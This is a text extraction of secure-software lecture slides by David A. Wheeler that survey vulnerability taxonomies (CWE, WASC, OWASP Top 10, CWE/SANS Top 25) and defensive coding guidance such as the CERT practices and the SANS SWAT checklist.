Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description Authentication Issues CWE-287 Failure to properly authenticate users. Credentials Management CWE-255 Failure to properly create, store, transmit, or protect passwords and other credentials. Permissions, Privileges, and Access Control CWE-264 Failure to enforce permissions or other access restrictions for resources, or a privilege management problem. CWE-119 Buffer overflows and other buffer boundary errors in which a program attempts to put more data in a buffer than the buffer can hold, or when a program attempts to put data in a memory area outside of the boundaries of the buffer. Cross-Site Request Forgery (CSRF) CWE-352 Failure to verify that the sender of a web request actually intended to do so. CSRF attacks can be launched by sending a formatted request to a victim, then tricking the victim into loading the request (often automatically), which makes it appear that the request came from the victim. CSRF is often associated with XSS, but it is a distinct issue. Cross-Site Scripting (XSS) CWE-79 Failure of a site to validate, filter, or encode user input before returning it to another user’s web client. Buffer Errors 61

Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description CWE-310 An insecure algorithm

Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description CWE-310 An insecure algorithm or the inappropriate use of one; an incorrect implementation of an algorithm that reduces security; the lack of encryption (plaintext); also, weak key or certificate management, key disclosure, random number generator problems. CWE-22 When user-supplied input can contain “. . ” or similar characters that are passed through to file access APIs, causing access to files outside of an intended subdirectory. Code Injection CWE-94 Causing a system to read an attacker-controlled file and execute arbitrary code within that file. Includes PHP remote file inclusion, uploading of files with executable extensions, insertion of code into executable files, and others. Format String Vulnerability CWE-134 The use of attacker-controlled input as the format string parameter in certain functions. Configuration CWE-16 A general configuration problem that is not associated with passwords or permissions. Information Leak / Disclosure CWE-200 Exposure of system information, sensitive or private information, fingerprinting, etc. Cryptographic Issues Path Traversal 62

Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description Input Validation CWE-20 Failure

Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description Input Validation CWE-20 Failure to ensure that input contains well-formed, valid data that conforms to the application’s specifications. Note: this overlaps other categories like XSS, Numeric Errors, and SQL Injection. Numeric Errors CWE-189 Integer overflow, signedness, truncation, underflow, and other errors that can occur when handling numbers. OS Command Injections CWE-78 Allowing user-controlled input to be injected into command lines that are created to invoke other programs, using system() or similar functions. Race Conditions CWE-362 The state of a resource can change between the time the resource is checked to when it is accessed. CWE-399 The software allows attackers to consume excess resources, such as memory exhaustion from memory leaks, CPU consumption from infinite loops, disk space consumption, etc. CWE-89 When user input can be embedded into SQL statements without proper filtering or quoting, leading to modification of query logic or execution of SQL commands. Resource Management Errors SQL Injection 63

Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description Link Following CWE-59 Failure

Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description Link Following CWE-59 Failure to protect against the use of symbolic or hard links that can point to files that are not intended to be accessed by the application. Other NVD is only using a subset of CWE for mapping instead of the No Mapping entire CWE, and the weakness type is not covered by that subset. Not in CWE No Mapping The weakness type is not covered in the version of CWE that was used for mapping. Insufficient Information No Mapping There is insufficient information about the issue to classify it; details are unknown or unspecified. Design Error A vulnerability is characterized as a “Design error” if there No Mapping exists no errors in the implementation or configuration of a system, but the initial design causes a vulnerability to exist. Source: http: //nvd. nist. gov/cwe. cfm 64

“A Software Flaw Taxonomy: Aiming Tools At Security” Source: “A Software Flaw Taxonomy: Aiming

“A Software Flaw Taxonomy: Aiming Tools At Security” Source: “A Software Flaw Taxonomy: Aiming Tools At Security” Sam Weber Paul A. Karger Amit Paradkar http: //cwe. mitre. org/documents/sources/ ASoftware. Flaw. Taxonomy-Aiming. Toolsat. Security %5 BWeber, Karger, Paradkar%5 D. pdf 65

Weakness Classes (NSA Center for Assured Software) Weakness class Example CWEs Authentication and Access

Weakness Classes (NSA Center for Assured Software) Weakness class Example CWEs Authentication and Access Control CWE-620: Unverified Password Change Buffer Handling [not in Java] CWE-121: Stack-based Buffer Overflow Code Quality CWE-561: Dead Code, CWE-676 Use of potentially dangerous function Control Flow Management CWE-833: Deadlock Encryption and Randomness CWE-328: Reversible One-Way Hash Error Handling CWE-252: Unchecked Return Value File Handling CWE-23: Relative Path Traversal Information Leaks CWE-534: Information Exposure Through Debug Log Files Initialization and Shutdown CWE-415: Double Free Injection CWE-134: Uncontrolled Format String Malicious Logic CWE-506: Embedded Malicious Code Number Handling CWE-369: Divide by Zero Pointer and Reference Handling CWE-476: NULL Pointer Dereference Source: http: //samate. nist. gov/ docs/CAS_2011_ SA_Tool_Method. pdf 66

WASC Threat Classification v 2. 0 • Attacks – Abuse of Functionality, Brute Force,

WASC Threat Classification v 2. 0 • Attacks – Abuse of Functionality, Brute Force, Buffer Overflow, Content Spoofing, Credential/Session Prediction, Cross-Site Scripting, Cross-Site Request Forgery, Denial of Service, Fingerprinting, Format String, HTTP Response Smuggling, HTTP Response Splitting, HTTP Request Smuggling, HTTP Request Splitting, Integer Overflows, LDAP Injection, Mail Command Injection, Null Byte Injection, OS Commanding, Path Traversal, Predictable Resource Location, Remote File Inclusion (RFI), Routing Detour, Session Fixation, SOAP Array Abuse, SSI Injection, SQL Injection, URL Redirector Abuse, XPath Injection, XML Attribute Blowup, XML External Entities, XML Entity Expansion, XML Injection, XQuery Injection • Weaknesses – Application Misconfiguration, Directory Indexing, Improper Filesystem Permissions, Improper Input Handling, Improper Output Handling, Information Leakage, Insecure Indexing, Insufficient Anti-automation, Insufficient Authentication, Insufficient Authorization, Insufficient Password Recovery, Insufficient Process Validation, Insufficient Session Expiration, Insufficient Transport Layer Protection, Server Misconfiguration Source: http: //projects. webappsec. org/w/page/13246978/Threat%20 Classification 67

Seven Pernicious Kingdoms • • Input Validation and Representation API Abuse Security Features Time

Seven Pernicious Kingdoms • • Input Validation and Representation API Abuse Security Features Time and State Error Handling Code Quality Encapsulation Source: Tsipenyuk, Chess, and Mc. Graw, “Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors”, Proceedings SSATTM, 2005 68

Software SOAR 2016 (Wheeler & Henninger) 1. Provide design and code* quality 2. Counter

Software SOAR 2016 (Wheeler & Henninger) 1. Provide design and code* quality 2. Counter known vulnerabilities (CVEs) (incl. of obsolete subcomponents) 3. Ensure authentication and access control* a. Authentication Issues b. Credentials Management c. Permissions, Privileges, and Access Control d. Least Privilege 4. Counter unintentional-“like” weaknesses 5. Counter intentional-“like”/malicious logic* a. Known malware b. Not known malware 6. Provide anti-tamper (confidentiality of algorithms for CPI) and ensure transparency 7. Counter development tool inserted weaknesses 8. Provide secure delivery 9. Provide secure configuration 10. Other (e. g. , power) a. Buffer Handling* b. Injection* (SQL, command, etc. ) c. Encryption and Randomness* d. File Handling* e. Information Leaks* f. Number Handling* g. Control flow management* h. Initialization and Shutdown [of resources/components]* i. Design Error j. System Element Isolation k. Error Handling* and Fault isolation l. Pointer and reference handling* Source: State-of-the-Art Resources (SOAR) for Software Vulnerability Detection, Test, and Evaluation 2016 by David A. Wheeler and Amy E. Henninger, Institute for Defense Analyses (Paper P-8005), November 2016, https: //www. acq. osd. mil/se/initiatives/init_jfac. html * maps to NSA Center for Assured Software (CAS) structure 69

“Top” weaknesses & assurance cases on implementation • Assurance cases typically cover requirements, design,

“Top” weaknesses & assurance cases on implementation • Assurance cases typically cover requirements, design, implementation, etc. – But how can you cover implementation? – “Never make implementation mistakes” is unworkable & impossible to demonstrate • More practical: Choose “top” weaknesses – Without better info, use OWASP’s top 10 for web applications and SANS/CWE 25 for anything else – Show countermeasures for each weakness (including coding guidance, detection schemes, etc. ) – Now you have a good argument! 70

Coding standards/guides 71

Coding standards/guides 71

Coding standards/Style guides • Most languages & widely-used frameworks have at least 1 style

Coding standards/Style guides • Most languages & widely-used frameworks have at least 1 style guide in wide use • Most guides focus more on readability & generic quality – but some include security • Security-specific guides include: – SEI CERT coding standards https: //www. securecoding. cert. org/confluence/displa y/seccode/SEI+CERT+Coding+Standards – OWASP Secure Coding Practices https: //www. owasp. org/index. php/OWASP_Secure_C oding_Practices_-_Quick_Reference_Guide 72

Top 10 Secure Coding Practices (CERT/SEI) (1) Practice Description 1. Validate input from all

Top 10 Secure Coding Practices (CERT/SEI) (1) Practice Description 1. Validate input from all untrusted data sources. Proper input validation can eliminate the vast majority of software vulnerabilities. Be suspicious of most external data sources, including command line arguments, network interfaces, environmental variables, and user controlled files [Seacord 05]. 2. Heed compiler warnings. Compile code using the highest warning level available for your compiler and eliminate warnings by modifying the code [C MSC 00 -A, C++ MSC 00 -A]. Use static and dynamic analysis tools to detect and eliminate additional security flaws. 3. Architect and design for security policies. Create a software architecture and design your software to implement and enforce security policies. For example, if your system requires different privileges at different times, consider dividing the system into distinct intercommunicating subsystems, each with an appropriate privilege set. 4. Keep it simple. Keep the design as simple and small as possible [Saltzer 74, Saltzer 75]. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use. Additionally, the effort required to achieve an appropriate level of assurance increases dramatically as security mechanisms become more complex. 5. Default deny. Base access decisions on permission rather than exclusion. This means that, by default, access is denied and the protection scheme identifies conditions under which access is permitted [Saltzer 74, Saltzer 75]. 73

Top 10 Secure Coding Practices (CERT/SEI) (2) Practice Description 6. Adhere to the principle

Top 10 Secure Coding Practices (CERT/SEI) (2) Practice Description 6. Adhere to the principle of least privilege. Every process should execute with the least set of privileges necessary to complete the job. Any elevated permission should be held for a minimum time. This approach reduces the opportunities an attacker has to execute arbitrary code with elevated privileges [Saltzer 74, Saltzer 75]. 7. Sanitize data sent to other systems. Sanitize all data passed to complex subsystems [C STR 02 -A] such as command shells, relational databases, and commercial off-the-shelf (COTS) components. Attackers may be able to invoke unused functionality in these components through the use of SQL, command, or other injection attacks. This is not necessarily an input validation problem because the complex subsystem being invoked does not understand the context in which the call is made. Because the calling process understands the context, it is responsible for sanitizing the data before invoking the subsystem. 8. Practice defense in depth. Manage risk with multiple defensive strategies, so that if one layer of defense turns out to be inadequate, another layer of defense can prevent a security flaw from becoming an exploitable vulnerability and/or limit the consequences of a successful exploit. For example, combining secure programming techniques with secure runtime environments should reduce the likelihood that vulnerabilities remaining in the code at deployment time can be exploited in the operational environment [Seacord 05]. 9. Use effective quality assurance techniques. Good quality assurance techniques can be effective in identifying and eliminating vulnerabilities. Fuzz testing, penetration testing, and source code audits should all be incorporated as part of an effective quality assurance program. Independent security reviews can lead to more secure systems. External reviewers bring an independent perspective; for example, in identifying and correcting invalid assumptions [Seacord 05]. 10. Adopt a secure coding standard. Develop and/or apply a secure coding standard for your target development language and platform 74

DISA App. Sec Dev STIG • DISA “Application Security and Development STIG” – Used

DISA App. Sec Dev STIG • DISA “Application Security and Development STIG” – Used by Department of Defense (DOD) • Contract language, e. g. : – “(APP 3540. 1: CAT I) The Designer will ensure the application is not vulnerable to SQL injection. ” • http: //iase. disa. mil/stigs/a-z. html 75

SANS Securing Web Application Technologies (SWAT) Checklist (1) • Error handling & logging –

SANS Securing Web Application Technologies (SWAT) Checklist (1) • Error handling & logging – Display generic error messages – No unhandled exceptions – Suppress framework generated errors – Log all authentication activities – Log all privilege changes – Log administrative activities – Log access to sensitive data – Do not log inappropriate data – Store logs securely • Data protection – Use SSL everywhere – Disable HTTP access for all SSL enabled resources – Use the strict- Transport-security header – Store user passwords using a strong, iterative, salted hash – Securely exchange encryption keys – Disable weak SSL ciphers on servers – Use valid SSL certificates from a reputable CA – Disable data caching using cache control headers and autocomplete – Limit the use and storage of sensitive data Source: https: //software-security. sans. org/resources/swat 76

SANS Securing Web Application Technologies (SWAT) Checklist (2) • Configuration and operations – Establish

SANS Securing Web Application Technologies (SWAT) Checklist (2) • Configuration and operations – Establish a rigorous change management process – Define security requirements – Conduct a design review – Perform code reviews – Perform security testing – Harden the infrastructure – Define an incident handling plan – Educate the team on security • Authentication – Don't hardcode credentials – Develop a strong password reset system – Implement a strong password policy – Implement account lockout against brute force attacks – Don't disclose too much information in error messages – Store database credentials securely – Applications and Middleware should run with minimal privileges 77

SANS Securing Web Application Technologies (SWAT) Checklist (3) • Session management – Ensure that

SANS Securing Web Application Technologies (SWAT) Checklist (3) • Session management – Ensure that session identifiers are sufficiently random – Regenerate session tokens – Implement an idle session timeout – Implement an absolute session timeout – Destroy sessions at any sign of tampering – Invalidate the session after logout – Place a logout button on every page – Use secure cookie attributes (i. e. httponly and secure flags) – Set the cookie domain and path correctly – Set the cookie expiration time • Input & output handling – – – – – Conduct contextual output encoding Prefer “whitelists over blacklists” use parameterized SQL queries Use tokens to prevent forged requests Set the encoding for your application Validate uploaded files Use the nosniff header for uploaded content Validate the source of input use the X-frame- options header use content security Policy (cs. P) or XXss- Protection headers 78

SANS Securing Web Application Technologies (SWAT) Checklist (4) • Access control – Apply access

SANS Securing Web Application Technologies (SWAT) Checklist (4) • Access control – Apply access controls checks consistently – Apply the principle of least privilege – Don’t use direct object references for access control checks – Don’t use unvalidated forwards or redirects 79

Conclusions • Be careful sending output back – Escape metacharacters so they’re not misinterpreted

Conclusions • Be careful sending output back – Escape metacharacters so they’re not misinterpreted by receiver • Web applications – – – Beware of session fixation, XSS, XSRF XSS fools clients; XSRF fools servers XSS: Escape output! Prefer systems that automatically do it XSRF: Secret token (always works), “Same. Site” cookie Use hardening headers (such as CSP) in addition • Developing secure software is not just knowing & countering common weaknesses – Good design! Prevent, detect, and recover! • Weakness lists can help remind/focus on biggest problems, taxonomies help describe – Once you know common past mistakes, you can avoid them – Can help justify implementation issues in an assurance case 80

Backup 81

Backup 81

HTTP Idempotent Methods (per HTTP specification) • “Idempotence” = aside from error or expiration

HTTP Idempotent Methods (per HTTP specification) • “Idempotence” = aside from error or expiration issues, side-effects of > 1 identical requests same as 1 request • Methods GET, HEAD, PUT and DELETE idempotent – Not POST! • Methods OPTIONS and TRACE also idempotent – Because they SHOULD NOT have side effects at all • Beware: a sequence of several requests can be nonidempotent, even if all of its methods are idempotent – E. G. , a sequence is non-idempotent if its result depends on a value that is later modified in the same sequence 82

OWASP Top 10 (2010) Security Risk Covered in class session on: A 1: Injection

OWASP Top 10 (2010) Security Risk Covered in class session on: A 1: Injection Call out (SQL injection, shell injection) A 2: Cross-Site Scripting (XSS) Design/Web application A 3: Broken Authentication and Session Management Authentication A 4: Insecure Direct Object References Design (least privilege) A 5: Cross-Site Request Forgery (CSRF) Design/Web application A 6: Security Misconfiguration Design A 7: Insecure Cryptographic Storage Cryptography A 8: Failure to Restrict URL Access Design (least privilege)/web application A 9: Insufficient Transport Layer Protection Cryptography A 10: Unvalidated Redirects and Forwards Design/Web application 83

OWASP Top 10 (2013) Security Risk Covered in class session on: A 1: Injection

OWASP Top 10 (2013) Security Risk Covered in class session on: A 1: Injection Call out (SQL injection, shell injection) A 2: Broken Authentication and Session Management Authentication A 3: Cross-Site Scripting (XSS) Design, Web application A 4: Insecure Direct Object References Design (least privilege), Web application A 5: Security Misconfiguration Design A 6: Sensitive Data Exposure Design (least privilege), Cryptography A 7: Missing Function Level Access Control Design (least privilege) A 8: Cross-Site Request Forgery (CSRF) Design, Web application A 9: Using Components with Known Vulnerabilities Obsolete code (8), Call out, Design A 10: Unvalidated Redirects and Forwards Design, Web application 84

CWE/SANS Top 25 Most Dangerous Software Errors (2011) Rank ID Name [1] CWE-89 Improper

CWE/SANS Top 25 Most Dangerous Software Errors (2011) Rank ID Name [1] CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [2] CWE-78 [3] CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [4] CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [5] CWE-306 Missing Authentication for Critical Function [6] CWE-862 Missing Authorization [7] CWE-798 Use of Hard-coded Credentials [8] CWE-311 Missing Encryption of Sensitive Data [9] CWE-434 Unrestricted Upload of File with Dangerous Type Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') [10] CWE-807 Reliance on Untrusted Inputs in a Security Decision 85

2011 CWE/SANS Top 25 Most Dangerous Software Errors (2011) Rank ID Name [11] CWE-250

2011 CWE/SANS Top 25 Most Dangerous Software Errors (2011) Rank ID Name [11] CWE-250 Execution with Unnecessary Privileges [12] CWE-352 Cross-Site Request Forgery (CSRF) [13] CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') [14] CWE-494 Download of Code Without Integrity Check [15] CWE-863 Incorrect Authorization [16] CWE-829 Inclusion of Functionality from Untrusted Control Sphere [17] CWE-732 Incorrect Permission Assignment for Critical Resource [18] CWE-676 Use of Potentially Dangerous Function [19] CWE-327 Use of a Broken or Risky Cryptographic Algorithm [20] CWE-131 Incorrect Calculation of Buffer Size 86

2011 CWE/SANS Top 25 Most Dangerous Software Errors (2011) Rank ID Name [21] CWE-307

2011 CWE/SANS Top 25 Most Dangerous Software Errors (2011) Rank ID Name [21] CWE-307 Improper Restriction of Excessive Authentication Attempts [22] CWE-601 URL Redirection to Untrusted Site ('Open Redirect') [23] CWE-134 Uncontrolled Format String [24] CWE-190 Integer Overflow or Wraparound [25] CWE-759 Use of a One-Way Hash without a Salt 87

Released under CC BY-SA 3. 0 • This presentation is released under the Creative

Released under CC BY-SA 3. 0 • This presentation is released under the Creative Commons Attribution. Share. Alike 3. 0 Unported (CC BY-SA 3. 0) license • You are free: – to Share — to copy, distribute and transmit the work – to Remix — to adapt the work – to make commercial use of the work • Under the following conditions: – Attribution — You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work) – Share Alike — If you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one • These conditions can be waived by permission from the copyright holder – dwheeler at dwheeler dot com • Details at: http: //creativecommons. org/licenses/by-sa/3. 0/ • Attribute me as “David A. Wheeler” 88